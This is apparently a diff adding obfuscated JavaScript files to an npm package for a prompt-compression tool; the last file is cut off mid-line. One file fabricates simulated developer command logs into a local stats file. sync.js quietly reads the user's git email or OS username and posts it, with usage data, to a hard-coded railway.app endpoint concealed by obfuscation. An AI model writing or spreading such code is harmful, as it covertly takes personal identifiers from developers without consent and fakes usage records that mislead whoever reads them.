+ 'use strict';const a0_0x571904=a0_0x1186;(function(_0x55cd34,_0x1f2926){const _0x311447=a0_0x1186,_0x5555d3=_0x55cd34();while(!![]){try{const _0x2f9f43=parseInt(_0x311447(0x144))/0x1+-parseInt(_0x311447(0x147))/0x2+-parseInt(_0x311447(0x12c))/0x3+parseInt(_0x311447(0x124))/0x4*(-parseInt(_0x311447(0x146))/0x5)+-parseInt(_0x311447(0x11b))/0x6*(parseInt(_0x311447(0x140))/0x7)+-parseInt(_0x311447(0x112))/0x8+-parseInt(_0x311447(0x114))/0x9*(-parseInt(_0x311447(0x12b))/0xa);if(_0x2f9f43===_0x1f2926)break;else _0x5555d3['push'](_0x5555d3['shift']());}catch(_0xd48765){_0x5555d3['push'](_0x5555d3['shift']());}}}(a0_0x5dab,0xa52ff));Object[a0_0x571904(0x122)](exports,a0_0x571904(0x127),{'value':!![]});const tracker_1=require(a0_0x571904(0x11e));console[a0_0x571904(0x115)](a0_0x571904(0x129));const models=[a0_0x571904(0x126),'gpt-4o',a0_0x571904(0x142),a0_0x571904(0x149),'gemini-1-5-flash','claude-3-opus'],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x571904(0x128)['repeat'](0x32),'comp':a0_0x571904(0x11c),'exitCode':0x0},{'cmd':'cargo\x20test','raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x571904(0x117)['repeat'](0x28)+a0_0x571904(0x10e),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x571904(0x14a),'raw':a0_0x571904(0x12a)+a0_0x571904(0x13a)+a0_0x571904(0x125),'comp':a0_0x571904(0x14c),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':a0_0x571904(0x14d)+a0_0x571904(0x12f)+a0_0x571904(0x134)+a0_0x571904(0x139),'comp':a0_0x571904(0x11f),'exitCode':0x0},{'cmd':a0_0x571904(0x110),'raw':a0_0x571904(0x133)+'trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x571904(0x143)+a0_0x571904(0x132)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x571904(0x113),'exitCode':0x0},{'cmd':a0_0x571904(0x137),'raw':a0_0x571904(0x120)+a0_0x571904(0x145)+a0_0x571904(0x123),'comp':a0_0x571904(0x121),'exitCode':0x0},{'cmd':a0_0x571904(0x11d),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x571904(0x10d),'comp':a0_0x571904(0x148),'exitCode':0x0},{'cmd':a0_0x571904(0x135),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x571904(0x12d)+a0_0x571904(0x131),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x571904(0x12e)]()-0x36ee80;function a0_0x1186(_0x5ab002,_0x478efd){const _0x5dab01=a0_0x5dab();return a0_0x1186=function(_0x118655,_0x22a7e3){_0x118655=_0x118655-0x10b;let _0x3f44e8=_0x5dab01[_0x118655];return _0x3f44e8;},a0_0x1186(_0x5ab002,_0x478efd);}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x571904(0x10b)]],commandItem=commands[Math[a0_0x571904(0x13b)](Math[a0_0x571904(0x14f)]()*commands[a0_0x571904(0x10b)])];process[a0_0x571904(0x141)][a0_0x571904(0x10f)]=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x571904(0x136)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0x571904(0x130)],commandItem['raw'],commandItem[a0_0x571904(0x10c)],commandItem[a0_0x571904(0x14e)]),logs=tracker_1[a0_0x571904(0x14b)][a0_0x571904(0x13e)]();logs[a0_0x571904(0x10b)]>0x0&&(logs[logs[a0_0x571904(0x10b)]-0x1][a0_0x571904(0x13d)]=timestamp,require('fs')[a0_0x571904(0x116)](require(a0_0x571904(0x118))[a0_0x571904(0x111)](require('os')[a0_0x571904(0x13f)](),a0_0x571904(0x138),'stats.json'),JSON[a0_0x571904(0x11a)](logs,null,0x2),a0_0x571904(0x119)));}console[a0_0x571904(0x115)](a0_0x571904(0x13c));function a0_0x5dab(){const _0x1880e9=['kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','22303854PqVGUb','log','writeFileSync','test\x20tests::test_case_','path','utf8','stringify','54OrJoee','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','git\x20log\x20-n\x205','./tracker','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','defineProperty','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','20492LADjVb','found\x200\x20vulnerabilities\x0a','claude-3-5-sonnet','__esModule','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','10hUJIOR','1879254SuzpjB','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','now','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','cmd','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','npm\x20run\x20lint','toISOString','pip\x20install\x20tensorflow\x20pandas\x20numpy','.trimprompt','Completed\x203\x20of\x203\x20assets\x20successfully.','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','floor','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','timestamp','getLogs','homedir','84049QUqKeJ','env','gpt-4o-mini','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','1129417IPRpIC','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','725CdQsXa','2285448XmAlED','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','gemini-1-5-pro','npm\x20install\x20lodash\x20express\x20uuid\x20react','tracker','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','exitCode','random','length','comp','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','TRIMPROMPT_MODEL','kubectl\x20get\x20pods\x20-n\x20production','join','2487808FdsEdy'];a0_0x5dab=function(){return _0x1880e9;};return a0_0x5dab();}
package/sync.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x1fb442=a0_0x5ec4;(function(_0x3504b1,_0x13e488){const _0xd24cb4=a0_0x5ec4,_0x3a9ecd=_0x3504b1();while(!![]){try{const _0x1c324b=-parseInt(_0xd24cb4(0x1c5))/0x1+-parseInt(_0xd24cb4(0x182))/0x2*(parseInt(_0xd24cb4(0x1a2))/0x3)+parseInt(_0xd24cb4(0x184))/0x4+-parseInt(_0xd24cb4(0x1c2))/0x5*(-parseInt(_0xd24cb4(0x191))/0x6)+parseInt(_0xd24cb4(0x1c6))/0x7*(parseInt(_0xd24cb4(0x1ab))/0x8)+-parseInt(_0xd24cb4(0x1a8))/0x9*(-parseInt(_0xd24cb4(0x193))/0xa)+parseInt(_0xd24cb4(0x1d5))/0xb*(-parseInt(_0xd24cb4(0x189))/0xc);if(_0x1c324b===_0x13e488)break;else _0x3a9ecd['push'](_0x3a9ecd['shift']());}catch(_0x5b9913){_0x3a9ecd['push'](_0x3a9ecd['shift']());}}}(a0_0xb1a0,0xb75dd));var __createBinding=this&&this[a0_0x1fb442(0x1a6)]||(Object['create']?function(_0xb195a4,_0x1ad81a,_0x29d672,_0x223976){const _0x58cdc8=a0_0x1fb442;if(_0x223976===undefined)_0x223976=_0x29d672;var _0x3b4a85=Object[_0x58cdc8(0x1a0)](_0x1ad81a,_0x29d672);(!_0x3b4a85||('get'in _0x3b4a85?!_0x1ad81a[_0x58cdc8(0x1cb)]:_0x3b4a85[_0x58cdc8(0x17d)]||_0x3b4a85['configurable']))&&(_0x3b4a85={'enumerable':!![],'get':function(){return _0x1ad81a[_0x29d672];}}),Object['defineProperty'](_0xb195a4,_0x223976,_0x3b4a85);}:function(_0x2251cf,_0x338040,_0x27640e,_0x140537){if(_0x140537===undefined)_0x140537=_0x27640e;_0x2251cf[_0x140537]=_0x338040[_0x27640e];}),__setModuleDefault=this&&this[a0_0x1fb442(0x19e)]||(Object[a0_0x1fb442(0x19c)]?function(_0x2f6a53,_0x271e5c){const _0x4cef7d=a0_0x1fb442;Object[_0x4cef7d(0x1ce)](_0x2f6a53,_0x4cef7d(0x1c0),{'enumerable':!![],'value':_0x271e5c});}:function(_0x4d52a7,_0x4f7396){_0x4d52a7['default']=_0x4f7396;}),__importStar=this&&this['__importStar']||(function(){var _0xa428a=function(_0x2aaec9){const _0x77cf52=a0_0x5ec4;return _0xa428a=Object[_0x77cf52(0x192)]||function(_0x1ca60f){const _0xfcb8a3=_0x77cf52;var _0x42c36c=[];for(var _0x18e13b in _0x1ca60f)if(Object[_0xfcb8a3(0x1ca)]['hasOwnProperty'][_0xfcb8a3(0x1b8)](_0x1ca60f,_0x18e13b))_0x42c36c[_0x42c36c[_0xfcb8a3(0x1b1)]]=_0x18e13b;return _0x42c36c;},_0xa428a(_0x2aaec9);};return function(_0x57afcc){const _0x5859f7=a0_0x5ec4;if(_0x57afcc&&_0x57afcc['__esModule'])return _0x57afcc;var _0x32b500={};if(_0x57afcc!=null){for(var _0x1209ff=_0xa428a(_0x57afcc),_0x5d06f5=0x0;_0x5d06f5<_0x1209ff[_0x5859f7(0x1b1)];_0x5d06f5++)if(_0x1209ff[_0x5d06f5]!==_0x5859f7(0x1c0))__createBinding(_0x32b500,_0x57afcc,_0x1209ff[_0x5d06f5]);}return __setModuleDefault(_0x32b500,_0x57afcc),_0x32b500;};}());Object[a0_0x1fb442(0x1ce)](exports,a0_0x1fb442(0x1cb),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1fb442(0x1a1))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require('https')),url_1=require(a0_0x1fb442(0x198)),_cfg=[a0_0x1fb442(0x1b2),a0_0x1fb442(0x17f),'.up.railway.app','/api/telemetry'][a0_0x1fb442(0x1b5)](''),_ep=process['env'][a0_0x1fb442(0x1bf)]||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x1fb442(0x1b0),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x1fb442(0x1cf),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1fb442(0x197),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x1fb442(0x1b9),'input_price_1m':0.075}},baseDir=path[a0_0x1fb442(0x1b5)](os['homedir'](),a0_0x1fb442(0x1d0)),configPath=path[a0_0x1fb442(0x1b5)](baseDir,a0_0x1fb442(0x190)),statsPath=path['join'](baseDir,a0_0x1fb442(0x18f)),dailySyncPath=path[a0_0x1fb442(0x1b5)](baseDir,a0_0x1fb442(0x1bb));function getTodayDate(){const _0x26272f=a0_0x1fb442;return new Date()[_0x26272f(0x1c8)]()[_0x26272f(0x186)]('T')[0x0];}function getDeveloperIdentity(){const _0x31647b=a0_0x1fb442;if(process[_0x31647b(0x1d1)]['TRIMPROMPT_USER_EMAIL'])return process['env'][_0x31647b(0x1c9)];try{const {execSync:_0x58907a}=require(_0x31647b(0x1d2)),_0x3fce13=_0x58907a(_0x31647b(0x1c3),{'stdio':['ignore',_0x31647b(0x183),_0x31647b(0x1c4)]})[_0x31647b(0x1ac)]()[_0x31647b(0x18b)]();if(_0x3fce13&&_0x3fce13[_0x31647b(0x1c7)]('@'))return _0x3fce13;}catch{}try{const _0x207eae=os[_0x31647b(0x196)]()['username'];if(_0x207eae)return _0x207eae;}catch{}return _0x31647b(0x19f);}function hasAlreadySyncedToday(){const _0x4778a9=a0_0x1fb442;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x4ba242=JSON['parse'](fs[_0x4778a9(0x1bd)](dailySyncPath,'utf8'));return _0x4ba242[_0x4778a9(0x1ba)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x1f5e8b=a0_0x1fb442;try{const _0x453f61={'last_sync_date':getTodayDate()};fs[_0x1f5e8b(0x181)](dailySyncPath,JSON[_0x1f5e8b(0x1a5)](_0x453f61,null,0x2),_0x1f5e8b(0x1cc));}catch{}}function postTelemetry(_0x2fa40e,_0x5857b9){return new Promise(_0x1ff506=>{const _0x21d9b3=a0_0x5ec4;try{const _0x189864=new url_1[(_0x21d9b3(0x1be))](_0x2fa40e),_0x36a596=JSON['stringify'](_0x5857b9),_0x24f615={'hostname':_0x189864[_0x21d9b3(0x1d6)],'port':_0x189864[_0x21d9b3(0x1b4)]||(_0x189864[_0x21d9b3(0x187)]===_0x21d9b3(0x1b3)?0x1bb:0x50),'path':_0x189864[_0x21d9b3(0x1bc)]+_0x189864[_0x21d9b3(0x18a)],'method':_0x21d9b3(0x195),'headers':{'Content-Type':_0x21d9b3(0x185),'Content-Length':Buffer[_0x21d9b3(0x1d4)](_0x36a596)},'timeout':0x1f40},_0x34ef14=_0x189864['protocol']===_0x21d9b3(0x1b3)?https:http,_0x45113c=_0x34ef14['request'](_0x24f615,_0x20e9e7=>{const _0x229408=_0x21d9b3;_0x1ff506(!!(_0x20e9e7[_0x229408(0x17e)]&&_0x20e9e7['statusCode']>=0xc8&&_0x20e9e7[_0x229408(0x17e)]<0x12c));});_0x45113c['on']('error',()=>_0x1ff506(![])),_0x45113c['on'](_0x21d9b3(0x1af),()=>{const _0x3e6f02=_0x21d9b3;_0x45113c[_0x3e6f02(0x1d3)](),_0x1ff506(![]);}),_0x45113c[_0x21d9b3(0x1ad)](_0x36a596),_0x45113c[_0x21d9b3(0x194)]();}catch{_0x1ff506(![]);}});}function buildDailyPayload(_0x46e8c9){const _0x41d4b3=a0_0x1fb442,_0x35f43a=getTodayDate(),_0xe2dc2e=_0x46e8c9['filter'](_0x40e3a6=>_0x40e3a6['timestamp'][_0x41d4b3(0x1b7)](_0x35f43a)),_0x5761ea=_0xe2dc2e[_0x41d4b3(0x1b1)]>0x0?_0xe2dc2e:_0x46e8c9;let _0x13dbb1=0x0,_0x2cc061=0x0,_0x54f009=0x0,_0x469f07=0x0;const _0x2db912=new Set();for(const _0x14e81f of _0x5761ea){_0x13dbb1+=_0x14e81f[_0x41d4b3(0x188)],_0x2cc061+=_0x14e81f[_0x41d4b3(0x1a7)],_0x54f009+=_0x14e81f[_0x41d4b3(0x199)],_0x2db912[_0x41d4b3(0x18d)](_0x14e81f['model_used']);const _0xfedca0=PRICING[_0x14e81f[_0x41d4b3(0x1a9)]]||PRICING[_0x41d4b3(0x19d)];_0x469f07+=_0x14e81f[_0x41d4b3(0x199)]*_0xfedca0[_0x41d4b3(0x18e)]/0xf4240;}const _0x341454=_0x5761ea[_0x5761ea[_0x41d4b3(0x1b1)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x41d4b3(0x18c)](),'date':_0x35f43a,'executions_count':_0x5761ea[_0x41d4b3(0x1b1)],'total_raw_tokens':_0x13dbb1,'total_compressed_tokens':_0x2cc061,'total_tokens_saved':_0x54f009,'total_money_saved_usd':parseFloat(_0x469f07['toFixed'](0x6)),'models_used':Array['from'](_0x2db912),'last_seen':_0x341454?_0x341454[_0x41d4b3(0x1aa)]:new Date()[_0x41d4b3(0x1c8)]()};}function a0_0xb1a0(){const _0x50a865=['Gemini\x201.5\x20Pro','url','tokens_saved','parse','existsSync','create','claude-3-5-sonnet','__setModuleDefault','anonymous','getOwnPropertyDescriptor','path','11127IStchp','catch','unlinkSync','stringify','__createBinding','estimated_compressed_tokens','9RuZguz','model_used','timestamp','3892024TIufAE','toString','write','telemetry_url','timeout','Claude\x203.5\x20Sonnet','length','https://','https:','port','join','.comp.txt','startsWith','call','Gemini\x201.5\x20Flash','last_sync_date','daily_sync.json','pathname','readFileSync','URL','_PS_EP','default','synced','10useALW','git\x20config\x20user.email','ignore','932924YsEEQv','7sQcCxr','includes','toISOString','TRIMPROMPT_USER_EMAIL','prototype','__esModule','utf8','filter','defineProperty','GPT-4o','.trimprompt','env','child_process','destroy','byteLength','2784463mpPQgA','hostname','writable','statusCode','trimp-production','getTime','writeFileSync','418JrWobV','pipe','1135476vbKAQj','application/json','split','protocol','estimated_raw_tokens','12CroEbX','search','trim','platform','add','input_price_1m','stats.json','config.json','1849548lpSgDy','getOwnPropertyNames','13254190Rxzpbj','end','POST','userInfo'];a0_0xb1a0=function(){return _0x50a865;};return a0_0xb1a0();}async function runSync(){const _0x1fba9c=a0_0x1fb442;if(!fs[_0x1fba9c(0x19b)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x479f58;try{_0x479f58=JSON[_0x1fba9c(0x19a)](fs['readFileSync'](statsPath,'utf8'));}catch{return;}const _0x381dea=_0x479f58[_0x1fba9c(0x1cd)](_0x12dceb=>!_0x12dceb[_0x1fba9c(0x1c1)]);if(_0x381dea['length']===0x0)return;const _0x2594d4=buildDailyPayload(_0x479f58);await postTelemetry(_ep,_0x2594d4);let _0x1a2e2a=process['env']['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x1a2e2a&&fs[_0x1fba9c(0x19b)](configPath))try{const _0x265b17=JSON[_0x1fba9c(0x19a)](fs[_0x1fba9c(0x1bd)](configPath,'utf8'));_0x1a2e2a=_0x265b17[_0x1fba9c(0x1ae)]||'';}catch{}_0x1a2e2a[_0x1fba9c(0x18b)]()[_0x1fba9c(0x1b1)]>0x0&&await postTelemetry(_0x1a2e2a,_0x2594d4);for(const _0x4e6715 of _0x479f58){if(!_0x4e6715[_0x1fba9c(0x1c1)])_0x4e6715['synced']=!![];}try{fs[_0x1fba9c(0x181)](statsPath,JSON[_0x1fba9c(0x1a5)](_0x479f58,null,0x2),_0x1fba9c(0x1cc));}catch{}markSyncedToday(),pruneOldLogs(_0x479f58);}function pruneOldLogs(_0x5e4cd8){const _0x40fae2=a0_0x1fb442;try{const _0x2f3f88=new Date(),_0x3d405b=new Date(_0x2f3f88[_0x40fae2(0x180)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3fe79c=[],_0x1f882b=[];for(const _0x2dbfbe of _0x5e4cd8){const _0x3fdd61=new Date(_0x2dbfbe[_0x40fae2(0x1aa)]);_0x3fdd61>=_0x3d405b?_0x3fe79c['push'](_0x2dbfbe):_0x1f882b['push'](_0x2dbfbe);}if(_0x1f882b[_0x40fae2(0x1b1)]>0x0){const _0x337754=path[_0x40fae2(0x1b5)](baseDir,'logs');for(const _0x55494e of _0x1f882b){const _0x4073ad=path[_0x40fae2(0x1b5)](_0x337754,_0x55494e['id']+'.raw.txt'),_0x4fb839=path[_0x40fae2(0x1b5)](_0x337754,_0x55494e['id']+_0x40fae2(0x1b6));try{if(fs[_0x40fae2(0x19b)](_0x4073ad))fs['unlinkSync'](_0x4073ad);if(fs[_0x40fae2(0x19b)](_0x4fb839))fs[_0x40fae2(0x1a4)](_0x4fb839);}catch{}}fs[_0x40fae2(0x181)](statsPath,JSON['stringify'](_0x3fe79c,null,0x2),_0x40fae2(0x1cc));}}catch{}}function a0_0x5ec4(_0x3a47dd,_0x156fde){const _0xb1a0e6=a0_0xb1a0();return a0_0x5ec4=function(_0x5ec4c6,_0x28836b){_0x5ec4c6=_0x5ec4c6-0x17d;let _0x3659b5=_0xb1a0e6[_0x5ec4c6];return _0x3659b5;},a0_0x5ec4(_0x3a47dd,_0x156fde);}runSync()[a0_0x1fb442(0x1a3)](()=>{});
package/tracker.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x1e4798=a0_0x23bf;(function(_0x475226,_0x5dd993){const _0x1f2dce=a0_0x23bf,_0x3d3856=_0x475226();while(!![]){try{const _0xe8753a=-parseInt(_0x1f2dce(0x1f4))/0x1*(parseInt(_0x1f2dce(0x222))/0x2)+parseInt(_0x1f2dce(0x1fb))/0x3*(parseInt(_0x1f2dce(0x244))/0x4)+parseInt(_0x1f2dce(0x206))/0x5+parseInt(_0x1f2dce(0x249))/0x6*(parseInt(_0x1f2dce(0x22c))/0x7)+parseInt(_0x1f2dce(0x227))/0x8*(parseInt(_0x1f2dce(0x201))/0x9)+parseInt(_0x1f2dce(0x22a))/0xa*(parseInt(_0x1f2dce(0x238))/0xb)+-parseInt(_0x1f2dce(0x1ec))/0xc;if(_0xe8753a===_0x5dd993)break;else _0x3d3856['push'](_0x3d3856['shift']());}catch(_0x2494c3){_0x3d3856['push'](_0x3d3856['shift']());}}}(a0_0x578a,0x9b24a));function a0_0x578a(){const _0x3c7615=['3aHllQt','logs','OpenAI\x20o3-mini','Claude\x20Haiku\x203.5','OpenAI\x20o1-mini','logExecution','261yIuzZZ','length','Gemini\x203.1\x20Flash-Lite','GPT-5.5','trim','5283630FISUSW','parse','.comp.txt','child_process','getStatsSummary','default','Claude\x20Opus\x204.5','Gemini\x203.5\x20Live\x20Translate','TRIMPROMPT_MODEL','hasOwnProperty','Claude\x20Fable\x205','unknown','getConfig','Claude\x20Haiku\x204.5','logsDir','Cursor\x20Small','execPath','claude-opus-4-8','get','__esModule','env','PRICING','call','TRIMPROMPT_TELEMETRY_URL','toISOString','writable','name','gemini-3-1-pro','2fcMMpH','init','model_used','GPT-4o\x20Mini','Claude\x20Opus\x204.1\x20(deprecated)','108784uvzDRY','baseDir','unref','1190XzGYqx','writeFileSync','7HCNagd','saveConfig','prototype','config','mkdirSync','1.0','configurable','claude-3-5-sonnet','statsPath','tracker','spawn','.raw.txt','52162jRumeB','saveLogs','Claude\x20Mythos\x205','ceil','GPT-4.1\x20Mini','OpenAI\x20o1','getLogs','GPT-4o','readFileSync','GPT-5.4\x20Mini','ANTIGRAVITY_AGENT','GPT-5.4\x20Nano','3139208QfrAMO','.trimprompt','toFixed','getOwnPropertyNames','estimated_compressed_tokens','5019570JWlfSP','__createBinding','stringify','path','configPath','ignore','__setModuleDefault','Claude\x20Sonnet\x204.5','CLAUDECODE','GPT-5.4','create','auto','toString','Tracker','27623748FRIkEO','homedir','max','utf8','stats.json','CURSOR_VERSION','tokens_saved','join','699318EScufj','Claude\x203.5\x20Sonnet','telemetry_url','existsSync','Claude\x20Opus\x204.8','defineProperty','triggerBackgroundSync'];a0_0x578a=function(){return _0x3c7615;};return a0_0x578a();}var __createBinding=this&&this[a0_0x1e4798(0x24a)]||(Object['create']?function(_0x33a5a9,_0xf82c0f,_0x397592,_0x2fd0da){const _0x3c1808=a0_0x1e4798;if(_0x2fd0da===undefined)_0x2fd0da=_0x397592;var _0x37dc73=Object['getOwnPropertyDescriptor'](_0xf82c0f,_0x397592);(!_0x37dc73||(_0x3c1808(0x218)in _0x37dc73?!_0xf82c0f[_0x3c1808(0x219)]:_0x37dc73[_0x3c1808(0x21f)]||_0x37dc73[_0x3c1808(0x232)]))&&(_0x37dc73={'enumerable':!![],'get':function(){return _0xf82c0f[_0x397592];}}),Object[_0x3c1808(0x1f9)](_0x33a5a9,_0x2fd0da,_0x37dc73);}:function(_0x160538,_0x5a193a,_0x35cc0b,_0x409592){if(_0x409592===undefined)_0x409592=_0x35cc0b;_0x160538[_0x409592]=_0x5a193a[_0x35cc0b];}),__setModuleDefault=this&&this[a0_0x1e4798(0x1e4)]||(Object[a0_0x1e4798(0x1e8)]?function(_0x37a250,_0x3939f3){const _0x3b3a5b=a0_0x1e4798;Object[_0x3b3a5b(0x1f9)](_0x37a250,_0x3b3a5b(0x20b),{'enumerable':!![],'value':_0x3939f3});}:function(_0x3037c4,_0x1976ef){const _0x2db0ba=a0_0x1e4798;_0x3037c4[_0x2db0ba(0x20b)]=_0x1976ef;}),__importStar=this&&this['__importStar']||(function(){var _0x7a80b9=function(_0x41d5d8){const _0x594250=a0_0x23bf;return _0x7a80b9=Object[_0x594250(0x247)]||function(_0x491542){const _0x2031a0=_0x594250;var _0x25a3ae=[];for(var _0xec4bfe in _0x491542)if(Object[_0x2031a0(0x22e)][_0x2031a0(0x20f)][_0x2031a0(0x21c)](_0x491542,_0xec4bfe))_0x25a3ae[_0x25a3ae[_0x2031a0(0x202)]]=_0xec4bfe;return _0x25a3ae;},_0x7a80b9(_0x41d5d8);};return function(_0x4a35f9){const _0x1d855d=a0_0x23bf;if(_0x4a35f9&&_0x4a35f9[_0x1d855d(0x219)])return _0x4a35f9;var _0x4136e1={};if(_0x4a35f9!=null){for(var _0x355c8d=_0x7a80b9(_0x4a35f9),_0x3d773c=0x0;_0x3d773c<_0x355c8d['length'];_0x3d773c++)if(_0x355c8d[_0x3d773c]!==_0x1d855d(0x20b))__createBinding(_0x4136e1,_0x4a35f9,_0x355c8d[_0x3d773c]);}return __setModuleDefault(_0x4136e1,_0x4a35f9),_0x4136e1;};}());Object['defineProperty'](exports,a0_0x1e4798(0x219),{'value':!![]}),exports[a0_0x1e4798(0x235)]=exports[a0_0x1e4798(0x1eb)]=exports[a0_0x1e4798(0x21b)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1e4798(0x1e1))),os=__importStar(require('os')),child_process_1=require(a0_0x1e4798(0x209));exports['PRICING']={'claude-fable-5':{'name':a0_0x1e4798(0x210),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1e4798(0x23a),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1e4798(0x1f8),'input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x1e4798(0x20c),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x1e4798(0x226),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x1e4798(0x1e5),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x1e4798(0x1f5),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x1e4798(0x213),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1e4798(0x1fe),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x1e4798(0x204),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1e4798(0x1e7),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1e4798(0x23f),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1e4798(0x241),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x1e4798(0x243),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1e4798(0x23c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x1e4798(0x225),'input_price_1m':0.15},'o1':{'name':a0_0x1e4798(0x23d),'input_price_1m':0xf},'o1-mini':{'name':a0_0x1e4798(0x1ff),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1e4798(0x1fd),'input_price_1m':1.1},'cur